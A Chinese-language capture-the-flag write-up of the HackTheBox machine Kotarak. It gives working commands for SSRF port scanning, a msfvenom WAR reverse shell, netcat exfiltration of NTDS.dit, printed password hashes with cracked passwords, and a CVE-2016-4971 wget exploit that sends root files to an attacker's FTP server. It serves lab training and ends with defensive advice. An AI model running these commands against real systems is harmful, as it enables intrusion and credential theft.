HackTheBox: Kotarak 渗透测试实战分析
1. 靶机概述
Kotarak 是 HackTheBox 平台上的一台已退役靶机,难度等级为 Hard (40分)。本靶机涉及多个关键渗透技术点,包括:
- 服务端请求伪造 (SSRF)
- Tomcat 管理界面利用
- WAR 文件部署获取反向 Shell
- NTDS.dit 文件提取与密码破解
- Wget 漏洞利用提权
2. 初始信息收集
2.1 端口扫描
使用 masscan 和 nmap 进行全端口扫描:
masscan -p1-65535,U:1-65535 10.10.10.55 --rate=1000 -e tun0 -p1-65535,U:1-65535 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.55
扫描结果发现开放端口:
- 22 (SSH)
- 8080 (HTTP - Tomcat)
- 8009 (AJP)
- 60000 (HTTP)
3. Web 服务探测
3.1 8080 端口 - Tomcat
访问 http://10.10.10.55:8080 显示 404 页面,进行目录枚举:
dirb http://10.10.10.55:8080
发现以下路径:
/docs(302)/examples(302)/favicon.ico(200)/host-manager(302)/manager(302)
访问 /manager/html 需要认证,提示使用 Tomcat 7 的管理接口:
/manager/html- HTML GUI/manager/text- 文本接口/manager/jmxproxy- JMX 代理/manager/status- 状态页面
3.2 60000 端口 - SSRF 漏洞利用
60000 端口提供"私人 Web 浏览器"功能,存在 SSRF 漏洞。
SSRF 概念:
服务端请求伪造漏洞允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出 HTTP 请求。
验证漏洞:
- 本地开启 HTTP 服务:
python -m SimpleHTTPServer - 通过 60000 端口访问本地服务:
http://10.10.10.55:60000/url.php?path=http://<本地IP>:8000
绕过 file:// 协议限制:
尝试直接访问 file:///etc/passwd 被阻止,服务器可能使用正则表达式过滤 "file" 关键字。
端口扫描:
使用 wfuzz 通过 SSRF 扫描内部端口:
wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
忽略响应长度为 2 的端口:
wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
发现 888 端口存在备份页面:
http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup
从中获取 Tomcat 管理凭据。
4. 获取初始访问权限
4.1 使用获取的凭据登录 Tomcat 管理界面
访问 /manager/html,使用获取的用户名和密码登录。
4.2 部署 WAR 反向 Shell
使用 msfvenom 生成 WAR 格式的反向 Shell:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<攻击机IP> LPORT=1234 -f war > shell.war
通过 Tomcat 管理界面上传并部署 WAR 文件。
4.3 获取交互式 Shell
本地监听:
nc -lnvp 1234
访问部署的 WAR 文件路径获取连接后,升级为完全交互式 Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
5. 权限提升 - 用户级别
5.1 发现 NTDS.dit 文件
在 /home/tomcat/to_archive/pentest_data 目录下发现:
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin(SYSTEM hive)20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit(NTDS.dit)
5.2 文件传输到攻击机
方法一:使用 netcat
# 攻击机
nc -lvnp 443 > SYSTEM
# 靶机
nc <攻击机IP> 443 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
方法二:使用 Python HTTP 服务器
# 靶机
python -m SimpleHTTPServer 7788
# 攻击机
wget http://10.10.10.55:7788/文件名
5.3 提取 NTDS.dit 中的密码哈希
工具准备:
-
安装 libesedb:
git clone https://github.com/libyal/libesedb.git cd libesedb/ apt-get install git autoconf automake autopoint libtool pkg-config build-essential ./synclibs.sh ./autogen.sh ./configure make make install ldconfig -
安装 ntdsxtract:
git clone https://github.com/csababarta/ntdsxtract cd ntdsxtract python setup.py build && python setup.py install
提取过程:
-
导出 NTDS.dit:
esedbexport -m tables ntds.dit生成
ntds.dit.export目录,包含datatable.3和link_table.5 -
提取用户哈希:
dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 hashdump --syshive SYSTEM --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc -
获取的哈希示例:
Administrator:::e64fe0f24ba2489c05e64354d74ebd11 atanas:::2b576acbe6bcfda7294d6bd18041b8fe -
使用 CrackStation 等在线服务破解哈希:
- Administrator: f16tomcat!
- atanas: Password123!
5.4 切换用户
su atanas
使用获取的密码切换到 atanas 用户,获取 user.txt。
6. 权限提升 - Root 级别
6.1 信息收集
-
运行 LinEnum.sh:
wget http://<攻击机IP>/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh -
发现线索:
/var/log/app.log提到 10.0.3.133 的 wget 版本为 1.16- 当前主机 wget 版本为 1.17.1
- 10.0.3.133 每两分钟从 10.10.10.55 获取
/archive.tar.gz
6.2 Wget 漏洞利用 (CVE-2016-4971)
漏洞概述:
GNU Wget < 1.18 存在任意文件上传/远程代码执行漏洞。
利用步骤:
-
准备利用文件:
.wgetrc内容:post_file = /root/root.txt output_document = /etc/cron.d/wget-root-shell- 修改 exploit 代码 (40064.txt) 中的 FTP 服务器地址为攻击机 IP
-
启动 FTP 服务器:
pip2 install pyftpdlib python -m pyftpdlib -p 21 -w -
上传 exploit 到靶机:
wget http://<攻击机IP>/wget.py authbind python wget.py -
等待约两分钟,10.0.3.133 会将其
/root/root.txt文件发送到攻击机的 FTP 服务器。
7. 关键知识点总结
-
SSRF 利用:
- 通过服务端请求绕过防火墙限制
- 使用 wfuzz 进行内部端口扫描
- 访问受限的内部服务获取敏感信息
-
Tomcat 管理界面利用:
- 通过备份文件泄露获取凭据
- WAR 文件部署获取反向 Shell
-
NTDS.dit 提取:
- SYSTEM hive + NTDS.dit 提取域密码哈希
- 使用 libesedb 和 ntdsxtract 工具链
- 密码哈希破解技术
-
Wget 漏洞利用:
- 通过 .wgetrc 文件控制下载行为
- 利用旧版本 wget 的配置文件处理漏洞
- 跨主机文件泄露技术
8. 防御建议
-
防止 SSRF:
- 实施严格的输入验证
- 使用白名单限制请求的目标
- 禁用不必要的 URL 协议 (如 file://)
-
Tomcat 安全:
- 使用强密码保护管理界面
- 限制管理界面的访问 IP
- 定期更新 Tomcat 版本
-
域安全:
- 保护 NTDS.dit 和 SYSTEM hive 文件
- 使用强密码策略
- 定期轮换关键账户密码
-
Wget 安全:
- 保持 wget 更新到最新版本
- 监控异常的网络流量
- 限制 cron 任务的权限
通过本案例,我们学习了从初始信息收集到最终获取 root 权限的完整渗透测试流程,涉及多种高级攻击技术和工具链的使用。